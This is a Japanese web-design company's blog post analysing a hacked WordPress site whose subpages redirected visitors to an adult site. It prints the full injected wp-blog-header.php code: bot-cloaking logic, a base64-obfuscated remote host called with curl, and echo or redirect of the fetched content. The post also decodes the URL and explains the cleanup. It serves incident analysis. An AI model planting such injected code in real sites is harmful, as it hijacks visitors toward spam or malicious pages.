06-6777-3688
BLOG

WordPressの改ざん(マルウェア)

2018年4月5日

今回のテーマはWordpressの改ざんによるウイルスを仕込まれたお話です。
あるお客様でホームページがウイルスに感染したという事例をご紹介します。

wordpress改竄イメージ

ホームページがアダルトサイトに矯正リダイレクト

先日、突然新規のお問い合わせがあり非常に慌てた様子でご相談があったのです。
そのお客様のお話では自社のサイトがおかしなことになっているということで詳しく話をおききしたところ
よくある「会社情報」とか、「プライバシーポリシー」とかいわゆる下層ページがアダルトサイトになっているというのです。
実際そのサイトにアクセスするとトップページは正常なのですが、下層ページをクリックすると
別ページに矯正リダイレクトされアダルトサイトにいくではありませんか・・・

原因はWordpressだった

お客様のお話を詳しくおききしたところWordpressというものを使っている。
以前つくってもらった制作会社は倒産してどうしようもないので至急どうにか直してほしい。
この症状が出たのはおそらく最近で先週に見たときはこんなことはなっていなかった。

というご相談でした。
ということで依頼をいただき早速調査開始。ネットからの情報を得ようと検索したのですが見つからず。
まずはWordpressにログインして投稿、固定ページなどあらいざらい確認したのですが特におかしなところが発見できませんでした。

つぎにFTPでサーバーにアクセスしてみました。
ファイルをすべてダウンロードしてとりあえずウイルスソフトでスキャンをかけてみましたがなにも検知できませんでした。

ではお客様の相談内容からして最近発覚したということなのでファイルのアップデートのタイムスタンプを調査。
すると数日前に更新されているファイルを発見。それがWPの上位階層にある「wp-blog-header.php」でした。
このファイルはデフォルトでは350バイトほどしかない少量のサイズなのに1600バイトというサイズ。
むむむ!!あやしい。おそらくこれだ!わたしはファイルをテキストエディタで開いてみました。

「wp-blog-header.php」が改ざんされていた!

ソースコードの改竄イメージ

追記というか改竄です。
「wp-blog-header.php」の改竄されたコードがこちら

<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/

$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);

if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
(stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {

$at = "base64_" . "decode";

$ch = curl_init($at("aHR0cDovL2RvbWZvcnVsdHJhZG9ycy5jb20v") . "15661992802f193eb068b4093544eb55" . $p);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
);

if (isset($_SERVER["HTTP_USER_AGENT"]))
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);

if (isset($_SERVER["HTTP_REFERER"]))
curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);

$ci = "curl_ex" . "ec";

$data = $ci($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (strlen($data) > 255 && $code == 200) {
echo $data; exit;
} else if ($data && ($code == 301 || $code == 302)) {
header("Location: " . trim($data), true, $code); exit;
}
}

if ( !isset($wp_did_header) ) {

$wp_did_header = true;

// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );

// Set up the WordPress query.
wp();

// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );

}

で、デフォルトはこちら

<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/

if ( !isset($wp_did_header) ) {

$wp_did_header = true;

// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );

// Set up the WordPress query.
wp();

// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );

}

強制的にリダイレクトさせる

この改竄されてコードで核心の部分は
$ch = curl_init($at("aHR0cDovL2RvbWZvcnVsdHJhZG9ycy5jb20v") . "15661992802f193eb068b4093544eb55" . $p);
↑ ここ。


一見なにかわららないがデコードすると、
http://domforultradors.com/15661992802f193eb068b4093544eb55
となりこのhttp://domforultradors.com/に飛ばしているわけです。
このジャンプ先のアダルトサイトで何を目的としているのはこれいじょう深入りするのも怖いのでわかりませんが
フィッシングなのか、ウイルスなのか・・・

解決方法

解決方法ですがデフォルトの「wp-blog-header.php」に差し替えたら問題なく以前のようにもどりました。
ちょっとこれで様子を見ることになりました。

原因は?

このファイルが改ざんされた根本的な理由はまだわかっていません。
・考えられるのはプラグインの脆弱性をつかれた。
・FTPやWP管理画面のパスワード、が甘いので不正ログインされた。
・・・
などかと思います。

あとがき

今回のマルウェアに関する情報は日本語ではみつけることができなかったのですが海外の方が書いている記事があり翻訳して同様の症状のかたもいるということはわかりました。
WordPressは便利なソフトではありますが素人が管理するのは非常に難しいですし大変です。
制作会社にメンテナンスを依頼してWPを最新の状態に更新しておくことが大事なんだろうとおもいます。

今回はこのへんで。

お気軽にご相談ください

成果の出るホームページのご提案をさせていただきます。
集客や売り上げに直結するノウハウなどもございます。まずは一度お問い合わせください。

最新の制作実績

弊社サービス